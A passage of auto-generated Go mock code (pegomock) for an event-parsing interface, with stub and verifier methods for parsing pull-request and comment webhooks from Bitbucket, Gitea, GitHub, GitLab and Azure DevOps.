{\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{body}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseBitbucketCloudPullCommentEvent\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.Repo\n\tvar _ret2 models.Repo\n\tvar _ret3 models.User\n\tvar _ret4 string\n\tvar _ret5 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.Repo)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(models.User)\n\t\t}\n\t\tif _result[4] != nil {\n\t\t\t_ret4 = _result[4].(string)\n\t\t}\n\t\tif _result[5] != nil {\n\t\t\t_ret5 = _result[5].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3, _ret4, _ret5\n}\n\nfunc (mock *MockEventParsing) ParseBitbucketCloudPullEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{body}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseBitbucketCloudPullEvent\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.Repo\n\tvar _ret2 models.Repo\n\tvar _ret3 models.User\n\tvar _ret4 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.Repo)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(models.User)\n\t\t}\n\t\tif _result[4] != nil {\n\t\t\t_ret4 = _result[4].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3, _ret4\n}\n\nfunc (mock *MockEventParsing) ParseBitbucketServerPullCommentEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{body}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseBitbucketServerPullCommentEvent\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.Repo\n\tvar _ret2 models.Repo\n\tvar _ret3 models.User\n\tvar _ret4 string\n\tvar _ret5 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.Repo)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(models.User)\n\t\t}\n\t\tif _result[4] != nil {\n\t\t\t_ret4 = _result[4].(string)\n\t\t}\n\t\tif _result[5] != nil {\n\t\t\t_ret5 = _result[5].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3, _ret4, _ret5\n}\n\nfunc (mock *MockEventParsing) ParseBitbucketServerPullEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{body}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseBitbucketServerPullEvent\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.Repo\n\tvar _ret2 models.Repo\n\tvar _ret3 models.User\n\tvar _ret4 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.Repo)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(models.User)\n\t\t}\n\t\tif _result[4] != nil {\n\t\t\t_ret4 = _result[4].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3, _ret4\n}\n\nfunc (mock *MockEventParsing) ParseGiteaIssueCommentEvent(event gitea0.GiteaIssueCommentPayload) (models.Repo, models.User, int, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{event}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGiteaIssueCommentEvent\", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.Repo\n\tvar _ret1 models.User\n\tvar _ret2 int\n\tvar _ret3 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.Repo)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.User)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(int)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3\n}\n\nfunc (mock *MockEventParsing) ParseGiteaPull(pull *gitea.PullRequest) (models.PullRequest, models.Repo, models.Repo, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGiteaPull\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.Repo\n\tvar _ret2 models.Repo\n\tvar _ret3 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.Repo)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3\n}\n\nfunc (mock *MockEventParsing) ParseGiteaPullRequestEvent(event gitea.PullRequest) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{event}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGiteaPullRequestEvent\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.PullRequestEventType\n\tvar _ret2 models.Repo\n\tvar _ret3 models.Repo\n\tvar _ret4 models.User\n\tvar _ret5 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.PullRequestEventType)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(models.Repo)\n\t\t}\n\t\tif _result[4] != nil {\n\t\t\t_ret4 = _result[4].(models.User)\n\t\t}\n\t\tif _result[5] != nil {\n\t\t\t_ret5 = _result[5].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3, _ret4, _ret5\n}\n\nfunc (mock *MockEventParsing) ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) (models.Repo, models.User, int, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{logger, comment}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGithubIssueCommentEvent\", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.Repo\n\tvar _ret1 models.User\n\tvar _ret2 int\n\tvar _ret3 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.Repo)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.User)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(int)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3\n}\n\nfunc (mock *MockEventParsing) ParseGithubPull(logger logging.SimpleLogging, ghPull *github.PullRequest) (models.PullRequest, models.Repo, models.Repo, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{logger, ghPull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGithubPull\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.Repo\n\tvar _ret2 models.Repo\n\tvar _ret3 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.Repo)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3\n}\n\nfunc (mock *MockEventParsing) ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{logger, pullEvent}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGithubPullEvent\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.PullRequestEventType\n\tvar _ret2 models.Repo\n\tvar _ret3 models.Repo\n\tvar _ret4 models.User\n\tvar _ret5 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.PullRequestEventType)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(models.Repo)\n\t\t}\n\t\tif _result[4] != nil {\n\t\t\t_ret4 = _result[4].(models.User)\n\t\t}\n\t\tif _result[5] != nil {\n\t\t\t_ret5 = _result[5].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3, _ret4, _ret5\n}\n\nfunc (mock *MockEventParsing) ParseGithubRepo(ghRepo *github.Repository) (models.Repo, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{ghRepo}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGithubRepo\", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.Repo\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.Repo)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockEventParsing) ParseGitlabMergeRequest(mr *client_go.MergeRequest, baseRepo models.Repo) models.PullRequest {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{mr, baseRepo}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGitlabMergeRequest\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockEventParsing) ParseGitlabMergeRequestCommentEvent(event client_go.MergeCommentEvent) (models.Repo, models.Repo, int, models.User, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{event}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGitlabMergeRequestCommentEvent\", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.Repo\n\tvar _ret1 models.Repo\n\tvar _ret2 int\n\tvar _ret3 models.User\n\tvar _ret4 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.Repo)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.Repo)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(int)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(models.User)\n\t\t}\n\t\tif _result[4] != nil {\n\t\t\t_ret4 = _result[4].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3, _ret4\n}\n\nfunc (mock *MockEventParsing) ParseGitlabMergeRequestEvent(event client_go.MergeEvent) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{event}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGitlabMergeRequestEvent\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.PullRequestEventType\n\tvar _ret2 models.Repo\n\tvar _ret3 models.Repo\n\tvar _ret4 models.User\n\tvar _ret5 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.PullRequestEventType)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(models.Repo)\n\t\t}\n\t\tif _result[4] != nil {\n\t\t\t_ret4 = _result[4].(models.User)\n\t\t}\n\t\tif _result[5] != nil {\n\t\t\t_ret5 = _result[5].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3, _ret4, _ret5\n}\n\nfunc (mock *MockEventParsing) ParseGitlabMergeRequestUpdateEvent(event client_go.MergeEvent) models.PullRequestEventType {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{event}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseGitlabMergeRequestUpdateEvent\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()})\n\tvar _ret0 models.PullRequestEventType\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequestEventType)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockEventParsing) VerifyWasCalledOnce() *VerifierMockEventParsing {\n\treturn &VerifierMockEventParsing{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockEventParsing) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockEventParsing {\n\treturn &VerifierMockEventParsing{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockEventParsing) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockEventParsing {\n\treturn &VerifierMockEventParsing{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockEventParsing) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockEventParsing {\n\treturn &VerifierMockEventParsing{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockEventParsing struct {\n\tmock                   *MockEventParsing\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockEventParsing) GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification {\n\t_params := []pegomock.Param{eventTypeHeader, sha, pr}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetBitbucketCloudPullEventType\", _params, verifier.timeout)\n\treturn &MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification) GetCapturedArguments() (string, string, string) {\n\teventTypeHeader, sha, pr := c.GetAllCapturedArguments()\n\treturn eventTypeHeader[len(eventTypeHeader)-1], sha[len(sha)-1], pr[len(pr)-1]\n}\n\nfunc (c *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) GetBitbucketServerPullEventType(eventTypeHeader string) *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification {\n\t_params := []pegomock.Param{eventTypeHeader}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetBitbucketServerPullEventType\", _params, verifier.timeout)\n\treturn &MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification) GetCapturedArguments() string {\n\teventTypeHeader := c.GetAllCapturedArguments()\n\treturn eventTypeHeader[len(eventTypeHeader)-1]\n}\n\nfunc (c *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification) GetAllCapturedArguments() (_param0 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseAPIPlanRequest(vcsHostType models.VCSHostType, path string, cloneURL string) *MockEventParsing_ParseAPIPlanRequest_OngoingVerification {\n\t_params := []pegomock.Param{vcsHostType, path, cloneURL}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseAPIPlanRequest\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseAPIPlanRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseAPIPlanRequest_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseAPIPlanRequest_OngoingVerification) GetCapturedArguments() (models.VCSHostType, string, string) {\n\tvcsHostType, path, cloneURL := c.GetAllCapturedArguments()\n\treturn vcsHostType[len(vcsHostType)-1], path[len(path)-1], cloneURL[len(cloneURL)-1]\n}\n\nfunc (c *MockEventParsing_ParseAPIPlanRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []models.VCSHostType, _param1 []string, _param2 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.VCSHostType, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.VCSHostType)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) *MockEventParsing_ParseAzureDevopsPull_OngoingVerification {\n\t_params := []pegomock.Param{adPull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseAzureDevopsPull\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseAzureDevopsPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseAzureDevopsPull_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseAzureDevopsPull_OngoingVerification) GetCapturedArguments() *azuredevops.GitPullRequest {\n\tadPull := c.GetAllCapturedArguments()\n\treturn adPull[len(adPull)-1]\n}\n\nfunc (c *MockEventParsing_ParseAzureDevopsPull_OngoingVerification) GetAllCapturedArguments() (_param0 []*azuredevops.GitPullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*azuredevops.GitPullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*azuredevops.GitPullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseAzureDevopsPullEvent(pullEvent azuredevops.Event) *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification {\n\t_params := []pegomock.Param{pullEvent}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseAzureDevopsPullEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification) GetCapturedArguments() azuredevops.Event {\n\tpullEvent := c.GetAllCapturedArguments()\n\treturn pullEvent[len(pullEvent)-1]\n}\n\nfunc (c *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []azuredevops.Event) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]azuredevops.Event, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(azuredevops.Event)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification {\n\t_params := []pegomock.Param{adRepo}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseAzureDevopsRepo\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseAzureDevopsRepo_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseAzureDevopsRepo_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification) GetCapturedArguments() *azuredevops.GitRepository {\n\tadRepo := c.GetAllCapturedArguments()\n\treturn adRepo[len(adRepo)-1]\n}\n\nfunc (c *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification) GetAllCapturedArguments() (_param0 []*azuredevops.GitRepository) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif 